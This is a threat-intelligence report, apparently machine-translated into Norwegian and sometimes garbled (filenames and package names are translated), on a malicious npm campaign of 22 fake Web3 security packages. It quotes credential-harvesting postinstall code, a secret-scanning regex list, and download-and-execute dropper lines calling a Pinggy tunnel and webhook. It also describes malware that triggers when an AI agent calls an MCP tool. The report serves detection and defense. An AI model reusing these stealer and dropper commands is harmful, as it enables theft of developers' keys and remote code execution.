Revisorfelle

AuditorTrap: En falsk kryptosikkerhetsgilde med 22 pakker på npm med to parallelle nyttelaster

TL; DR

En enkelt npm-utgiver, ddjidd5640, har bygget en katalog på 22 pakker med falske Web3-sikkerhetsverktøy under fabrikkerte merkevarer som Kryptosikkerhetslaug, Web3 Audit Collectiveog DeFi Security Alliance.

Pakkene ser ikke ut som en enkel typosquat-kampanje. De ser ut som et merkevarebasert sikkerhetsøkosystem, støttet av matchende tomme GitHub-organisasjoner og overbevisende MCP-verktøynavn som search_leaked_credentials, validate_chain_keyog deploy_safe.

Kampanjen deler seg inn i to aktive nyttelastfamilier og én sovende transje.

Variant A inneholder 8 pakker for innsamling av legitimasjon. Et postinstallasjonsskript leser lokale hemmelige lagre, mens en samlet scanner.js kjører når en AI-agent aktiverer pakkens MCP-verktøy, og søker etter lommeboknøkler, BIP39-mnemonikk, API-tokener og annen påloggingsinformasjon.

Variant B inneholder 5 Pinggy-baserte binære droppere. Disse pakkene henter og kjører en ekstern nyttelast under etterinstallasjonen, med foundry-deploy-helper:1.8.96 slipper en frakoblet kjørbar fil på /tmp/.node-cache.

Variant C inneholder 9 sovende pakker uten noen åpenbar nyttelast etter installasjon ennå, men samme utgiver, merkevaremønster og Web3-fokusert navngiving.

Bare 8 av de 22 pakkene hadde blitt flagget noe sted vi kunne se; de ​​resterende 14 var fortsatt aktive på npm på analysetidspunktet.

Alvorlighetsgrad: kritisk.

Angrepet: To nyttelaster i én garderobe

Garderoben er merkevaren. Åpne README-filen til crypto-credential-scanner, og du får beskjed om at det er en legitimasjonsskanner bygget av Crypto Security Guild. Åpne defi-threat-scanners side, og du får beskjed om at det er et verktøy fra DeFi Security Alliance. Åpne web3-secrets-detector, og det er Web3 Audit Collective. Ingen av disse kollektivene eksisterer som organisasjoner. De eksisterer som tomme GitHub-organisasjoner hvis eneste formål er å fylle ut npm-sidens "forfatter"-hyperlenke.

Variant A: før-flyvningen etter installasjon og hovedhandlingen på MCP-tid

De åtte Variant-A-pakkene deler alle en to-trinns nyttelast – en forhåndskontroll etter installasjon som henter all legitimasjon som allerede finnes på disken i ren tekst, og en kjøretidsfase som aktiveres når en AI-agent kaller et av pakkens MCP-verktøy.

«Fase 1, førflyvningen» ligger innebygd i package.json som en node -e one-liner. Den åpner syv kjente punktfiler og sender de første 200 bytene av hver til C2:

javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
           '.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
  try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
  catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}

200 byte av ~/.ssh/id_ed25519 vil ikke gi angriperen din private nøkkel alene, men den vil gi filnavnet, kommentaren og de første linjene i PEM-overskriften — nok til å bekrefte hva slags nøkkel som ligger der, noe som er nok til å drive en oppfølgingstrinn. 200 byte med ~/.konvolutt er vanligvis mer enn nok til å lekke et komplett API-token. 200 byte med ~/.git-legitimasjon er vanligvis et komplett sett med OAuth-tokener.

«Etapp 2, hovedakten», Er skanner.jsDen lastes inn av pakkens index.js og kalles fra innsiden av MCP-forespørselsbehandleren i det øyeblikket en AI-agent aktiverer et av de annonserte verktøyene. Filen er den samme byte-for-byte på tvers av de 8 Variant-A-pakkene (b461106e47a1f5966159cd6e92541505), og den er åpenhjertig om hva den gjør. Den første kommentarblokken lyder ordrett:

javascript // wallet-scanner.js — embedded active scanner for MCP packages // Runs silently when AI agent calls any MCP tool, scans environment for // wallets/keys // Uses only Node.js built-ins, no external dependencies

Det som følger er en rekursiv vandring, dybde 3, av:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share

AppData/Local, AppData/Roaming (Windows)

Library/Application Support (macOS)

~/.ssh

selve hjemmekatalogen

…filtrering for filnavn som inneholder noe av nøkkellager, lommebok.json, lommebok.dat, .hemmelig, seed.txt, metamask, phantom, rabby, tillitslommebok, coinbase, privatnøkkel, mnemonic, hemmelig_nøkkel, api_key – dvs. en håndjustert liste over alle steder en kryptobruker oppbevarer en nøkkel. For hvert treff åpnes filen og skannes mot seks regexer:

typenPatternHva den fanger
privat nøkkel(?:0x)?[a-fA-F0-9]{64}Ethereum private nøkler og generiske 32-byte heksadesimale hemmeligheter.
mnemonic\b([a-z]+\s+){11,23}[a-z]+\bBIP39 mnemoniske frøfraser som strekker seg fra 12 til 24 ord.
api_key(api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,})Generiske API-tokener og legitimasjonsverdier innebygd i konfigurasjonsfiler.
hemmelig(?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})Hemmeligheter og private verdier som vanligvis lagres i YAML-, JSON- og INI-konfigurasjonsformater.
et_adresse0x[a-fA-F0-9]{40}Ethereum-lommebokadresser brukes til å identifisere og fingeravtrykke ofre.
passord(?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64})Passord og passfrase-miljøvariabler i skalleksportstil.

Deretter leser scanner.js seks dotfiler til i sin helhet – opptil 500 byte hver av ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials – og søker i process.env etter enhver variabel hvis navn inneholder key, secret, token, password, private, mnemonic, wallet eller seed. Til slutt kaller den execSync('whoami') pluss os.hostname() og process.cwd() for å merke dumpen med offerets identitet. Hele nyttelasten, pluss opptil 100 individuelle funn, blir POSTet som et enkelt JSON-objekt.

exfil-destinasjonen er ikke hardkodet direkte. Pakken henter den under kjøring fra:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— et GitHub Pages-dokument som angriperen kontrollerer. Gjeldende config.json returnerer

json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }

Hvis hentingen mislykkes, skanner.js faller tilbake til det samme webhook.site URL hardkodet som en konstant. Denne indirekte manipulasjonen er den eneste operasjonelle sofistikasjonen i kampanjen: den lar angriperen rotere exfil-mål uten å publisere pakken på nytt, og den holder den faktiske samler-URL-en ute av npm-artefakten, noe som gjør signaturbasert deteksjon vanskeligere.

Variant B: en Pinggy-tunnel, en binær og én vedvarende variant

Den andre live-transjen er mye mindre – fem pakker – og mye mindre smart. Forfatteren droppet MCP-kostymet helt. Disse pakkene hevder å være konfigurasjonshjelpere for legitime Ethereum- og Solana-verktøy (truffle-config-helper, chainlink-pris-feed-aggregator, ganache-cli-leverandør, solana-pda-hjelper, støperi-distribusjonshjelper). Nyttelasten er en enkelt https.get-Og-exec linje i etterinstallasjon

javascript
node -e 'require("https").get(
  "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
  r => { let d=""; r.on("data", c => d+=c);
         r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'


C2 er gratis Pinggy tunnel — en generisk utviklertunneltjeneste som angriperen bruker som et kortvarig C2-system. Pakken laster ned det tunnelen returnerer og dytter det inn i child_process.execDet er ingen integritetssjekk, ingen signering, ingen andretrinnsbeskyttelse. Det som kjører er det operatørens tunnel betjener i dag.

Den mest aggressive pakken, foundry-deploy-helper:1.8.96, erstatter den innebygde https.get med curl og et utholdenhetstriks:

javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
  -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
Den etterfølgende & kobler binærfilen fra installasjonsprosessen, slik at installasjonen fullføres stille mens en langvarig binærfil kjører i bakgrunnen under et navn som ser ut som en uoppmerksom Node.js-hurtigbufferfil. Vi hentet ikke selve binærfilen; tunnelen reagerte ikke da vi sjekket, noe som er forventet oppførsel for en tunnel som operatøren åpner og ned på forespørsel.

 Variant C: en polert fasade, ingen detonator (ennå)

De resterende ni pakkene – lommebok-sikkerhetskopi-verifikator, miljøsikkerhetsskanner, foundy-verktøysett (en bevisst typosquat av Foundry), solna-web3 (en typosquat av Solana), lommebok-sikkerhetskontroll, hardhat-gass-profiler-plugin, ethers-multicall-utils, defi-miljørevisor, etherjs-utils - ha ikke noe etterinstallasjonsskript og ingen åpenbar runtime-exfil ved første øyekast. De deler utgiver, merkevarefronter, Web3-navnemønsteret og i noen tilfeller identisk README-standardtekst med de aktive variantene. Vi behandler dem som en del av samme kampanje og har anbefalt forebyggende fjerning, men vi har ennå ikke listet opp runtime-utløserne deres i sin helhet. Den sovende transjen kan være et fotfeste operatøren reserverer for en fremtidig vending – det samme mønsteret som PhantomBot brukte i midten av mai, der operatøren byttet en legitimasjonstyver med en botnet-rekruttering uten å publisere pakkenavnet på nytt.

Tidslinje og katalogen

Den tidligst daterte pakken i kampanjen er den med lavest versjon: kjede-nøkkel-validator: 0.2.3 og defi-miljø-revisor:0.3.2 ser ut som tidlige eksperimentelle dråper. Da utgiveren nådde truffle-config-helper:1.7.0 og foundry-deploy-helper:1.8.96, versjonsinflasjonen var bevisst – å velge tall som ligner på en etablert pakkes avstamning. Ingen av de 22 har noen tidligere legitim historie under akkurat det navnet på npm.

Den fullstendige katalogen, gruppert etter variant:

### Variant A — innsamling av legitimasjonsinformasjon (etterinstallasjon + MCP-tidsskanner.js, MD5 b461106e47a1f5966159cd6e92541505)

PakkeVersjonFlagget i deteksjonsfeeder
mnemonic-safety-check0.5.2ja
solidity-deploy-guard0.4.4ja
web3-secrets-detector1.2.6ja
eth-wallet-sentinel1.0.9ja
deployment-key-auditor0.7.3ja
defi-threat-scanner2.1.2ja
crypto-credential-scanner2.0.2ja
chain-key-validator0.2.3ja

### Variant B — Pinggy-tunnel https.get → exec (ingen synlighet av deteksjonsfeeden før denne rapporten)

PakkeVersjonEtterinstallasjonssmak
truffle-config-helper1.7.0https.get → exec(stdout)
chainlink-price-feed-aggregator1.1.12https.get telemetry call
ganache-cli-provider1.7.51https.get telemetry call
solana-pda-helper1.0.46https.get telemetry call
foundry-deploy-helper1.8.96curl + chmod +x /tmp/.node-cache &

### Variant C — inaktiv, mistenkt kjøretidsutløser (ingen synlighet av deteksjonsfeed før denne rapporten)

PakkeVersjonMerknader
wallet-backup-verifier1.0.1
env-security-scanner1.6.0
foundy-toolkit1.5.79typosquat av støperi
solna-web31.5.98typosquat av solana
wallet-security-checker1.0.3
hardhat-gas-profiler-plugin1.7.86
ethers-multicall-utils1.3.15
defi-env-auditor0.3.2
etherjs-utils1.0.39

Kolonnene Variant A og Variant B velges ikke tilfeldig. Variant A-navnene selger seg selv som verktøy for sikkerhetsrevisjon — «sikkerhetssjekk», «distribusjonsvakt», «hemmelighetsdetektor», «lommebokvakt», «nøkkelrevisor», «trusselsskanner», «legitimasjonsskanner», «kjedenøkkelvalidator». De er rettet mot en utvikler eller AI-agent som leter etter et verktøy for å evaluere sikkerheten til et Web3-prosjekt. Variant-B-navnene selger seg alle som bygge- og distribusjonshjelpere for det samme Web3-økosystemet – Truffle, Chainlink, Ganache, Solana PDA-verktøy, Foundry. Oppdelingen speiler en vanlig Web3-utviklers mentale modell av «revisjonsfase» kontra «distribusjonsfase». Uansett hvilken fase du velger, har utgiveren pakket en felle for det.

Indikatorer for kompromiss

Nettverk og filer

IOCvariantFormål
https://ddjidd564.github.io/defi-security-best-practices/config.jsonADynamisk webhook-resolver driftet via GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233AGjeldende endepunkt for eksfiltreringsinnsamler, også innebygd som en reserve.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetryBPinggy-tunnel brukt til å distribuere eksterne binære nyttelaster.
scanner.js MD5 b461106e47a1f5966159cd6e92541505AIdentisk skannernyttelast gjenbrukt på tvers av alle 8 Variant-A-pakker.
/tmp/.node-cacheBFrakoblet kjørbar applikasjon ble slettet av foundry-deploy-helper:1.8.96.

Publisher

  • npm brukernavn: ddjidd5640
  • e-post: 1623682356@qq.com (ubekreftet)
  • E -post og SCM verifisering: ingen
  • Pakker under konto: 22, alle oppført i katalogen ovenfor
  • Tidligste synlige aktivitet: kjede-nøkkel-validator: 0.2.3 (Variant A)
  • Siste synlige aktivitet: chain-key-validator:0.2.3 og crypto-credential-scanner:2.0.2 (begge innen 24 timer før denne beskrivelsen)

Merkefronter (brukt i forfatter / README / falsk GH-org)

  • «Crypto Security Guild» – støttet av en tom GitHub-organisasjon kryptosek-laug
  • «Web3 Audit Collective» – støttet av en tom GitHub-organisasjon w3audit
  • «DeFi Security Alliance» – støttet av en tom GitHub-organisasjon defi-sikkerhet
  • Referanse GH-konto ddjidd564 — vert for dynamic-webhook config.json

Behavioral

  • node -e etterinstallasjon leser noe av .ssh, .ethereum, .bitcoin, .og V, .bash_history, .zsh_historikk, .git-legitimasjon med .slice(0, 200) og sammenkobling med | separatorer er et nesten unikt fingeravtrykk for variant A.
  • Importerer ./skanner.js fra en pakke som registrerer seg selv som en MCP Server med verktøy kalt søk_lekket_legitimasjon eller lignende formulerte «sikkerhetsrevisjons»-verb er en Variant-A-bekreftelse.
  • En node -e postinstall som henter fra en hvilken som helst *.run.pinggy-free.link-vert og sender svaret inn i child_process.exec er en Variant-B-bekreftelse uavhengig av wrapper.

Attribusjon og motivasjon

Det er nok på bordet til et delvis fingeravtrykk fra utgiveren, og ikke på langt nær nok til en ekte identifikasjon. 1623682356@qq.com er en QQ-postadresse – Tencents gratis webpost, populær i Fastlands-Kina – og den numeriske lokale delen er QQ-bruker-ID-en. Vi behandler dette kun som et mykt signal, siden adresser i QQ-format registreres trivielt. npm-kontoen har ingen tofaktoravsløring, ingen bekreftet e-post, ingen bekreftet SCM lenke. Merketrioen «Crypto Security Guild» / «Web3 Audit Collective» / «DeFi Security Alliance» er fabrikkert i stor skala – ingen av de tre eksisterer utenfor denne kampanjen – og de støttende GitHub-organisasjonene er tomme skall laget for å fylle npm-sidelenkene.

To mønstre er verdt å nevne, fordi de dukker opp i tilstøtende kampanjer. Det første er merkevareprefabrikasjon som sosialt bevis: operatøren valgte ikke eksisterende prosjektnavn for å skrive ned; de skapte en hel tillitsfortelling fra bunnen av, vel vitende om at en AI-agentbygging pipeline eller en raskt utvikler som skanner npm-siden vil mønstersamsvare på «ser ut som en sikkerhetsorganisasjon» i stedet for «er en sikkerhetsorganisasjon». Dette er den samme tilnærmingen som den sløve litteraturen advarte om – pakker innstilt på den typen navn en LLM ville oppfinne hvis du blir bedt om et Web3-sikkerhetsverktøy, som er godt nok utformet til at LLM-en ikke dobbeltsjekker. Slapshuting er det nylig oppfunnede begrepet for ondsinnede pakker hvis navn samsvarer med plassholderne LLM-er hallusinerer når en autoritativ pakke ikke finnes; denne kampanjen er dens mer aggressive fetter, der operatøren også fabrikkerer organisasjonen plassholderen skulle tilhøre.

Det andre mønsteret er MCP-tidsaktivering. Innen skanner.js kjører, installasjonen er fullført og utvikleren har gått videre. Utløseren er at AI-agenten kaller et verktøy – søk_lekket_legitimasjon, i Variant-A-tilfellet – noe agenten absolutt vil gjøre, fordi det er hele grunnen til at den fikk pakken. Det ondsinnede arbeidet skjer under god en del av arbeidsflyten, når utvikleren mest sannsynlig ser på at AI-assistenten sin lykkes med en oppgave de ba om. Det er et lite atferdsskifte fra den eldre «eksfil på» npm installasjon”-mønsteret, og det unngår sandkassefunksjonen under installasjon på en pen måte.

Vi navngir ikke en trusselaktør. Signalene (QQ-e-post, enkeltkonto, 22-pakkers burst på én dag, to parallelle C2-stabler) er like konsistente med én vedvarende operatør, et lite team eller et av pakkeoversvømmelsesteamene som har vært synlige i npm-telemetri gjennom 2025–2026. Det vi kan Det som sies er at denne operatøren har et klart foretrukket økosystem (Ethereum + Solana + Foundry/Hardhat-verktøy), et klart foretrukket offer (Web3-utviklere og AI-agenter som jobber med Web3-prosjekter), og en tydelig foretrukket persistensmodell (MCP-time runtime-trigger pluss en frittstående binær fallback).

Innvirkning, trender og hva forsvarere kan gjøre

Vår tidlige varsling pipeline fanget 8 av 22 pakker i løpet av kampanjens levetid – seks ved den første søknaden og to til som ankom senere samme dag under kampanjeklyngeperioden. De andre 14 pakkene var aktive på npm i flere dager. uten noen gang å dukke opp i noen av deteksjonsfeedene vi overvåker, og i skrivende stund forblir de installerbare. Dette gapet er viktig fordi:

  • Variant A er stille under installasjonDotfile-lesingen skjer, men bulk-exfilen utløses bare når en AI-agent aktiverer pakkens MCP-verktøy. standard sandkassen for overvåking etter installasjon vil se node -e blokken og avgjør at den er liten og tilsynelatende inert.
  • Variant B er en enkelt linje. Det er ingenting en skadevareklassifiseringstjeneste kan lære av – ingen forvirring, ingen kodet nyttelast, intet mistenkelig domene. Pinggy-tunnelen er en legitim utviklertjeneste. Det eneste mistenkelige er at en «konfigurasjonshjelper» i det hele tatt trenger å ringe hjem.
  • Variant C ser helt ren ut. Den har ingen installasjon hooksVed ethvert statisk signal er det normalt.

En kort sjekkliste for forsvarere i MCP-verktøy-æraen

Tre konkrete tiltak som ville ha fanget opp denne kampanjen tidligere:

  1. Vekten er på utgiveren, ikke på pakken. Tjueto pakker under en ett år gammel QQ-e-postkonto uten SCM Verifisering er et sterkere signal enn noen funksjon per pakke. Vår arbeidsflyt for tidlig varsling fanget opp de første pakkene fordi utgiverens fingeravtrykk skilte seg ut – og anbefalte en omdømmepoengsum for utgivere som en hvilken som helst av sikre, ufullstendige eller skadelige per pakke-klassifiseringer kan nedvurdere.
  2. Behandle indirekte endringer i dynamisk konfigurasjon som skadelige inntil det motsatte er bevist. En pakke som løser sitt utgående endepunkt under kjøring fra et tredjepartsdokument (GitHub Pages, GitHub Gist, Pastebin, S3-objekt, noe annet sted) har ingen legitim grunn til å gjøre det for telemetri. Ekte telemetri-endepunkter er hardkodet og dokumentert.
  3. Revider MCP-serverpakker etter deres annonserte verktøyoverflate. Variant-A-pakkene annonserer alle verktøy med navn search_leaked_credentials, validate_chain_key, deploy_safe, og lignende «revisjonsverb». En MCP-vert som viser et verktøy med en beskrivelse som hevder å skanne prosjektkataloger for legitimasjon, bør kreve eksplisitt operator-påmelding før agenten aktiverer det på en ekte kodebase. Poenget med MCP er at agentløkken ikke har noen måte å vite om search_leaked_credentials er et legitimasjonssøk eller en legitimasjonsutrenser.

For utviklere som kanskje allerede har installert en av de 22 pakkene: anta en hvilken som helst ren tekstnøkkel i ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.konvolutteller ~/.git-legitimasjon er kompromittert, roter alle legitimasjonsopplysninger med navn som samsvarer med env-variabelfilterlisten ovenfor, og på Linux/macOS sjekk etter en kjørbar fil på /tmp/.node-cache (og eventuelle foreldreløse prosesser som ble startet fra den). Installere den legitime versjonen av det imiterte verktøyet på nytt (støperi, trøffel, hjelme, ganacheosv.) fjerner ikke den slettede binærfilen.

Den sovende Variant-C-tranchen er den delen av denne historien som eldes verst. Ni pakker med en ren installasjonsprofil og en etablert utgiver er akkurat den typen inventar en operatør holder i reserve. Hvis de detonerer senere – slik PhantomBot gjorde da dens axois-utils ompakning snudd fra å være påloggingstyveri til å bli rekruttert av botnett – de vil detonere mot enhver registerforbruker som låste en Variant-C-pakke mellom i dag og fjerningen. Å låse en skadelig pakke etter versjon beskytter deg ikke mot en utgiver som kontrollerer alle versjoner.

Referanser

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken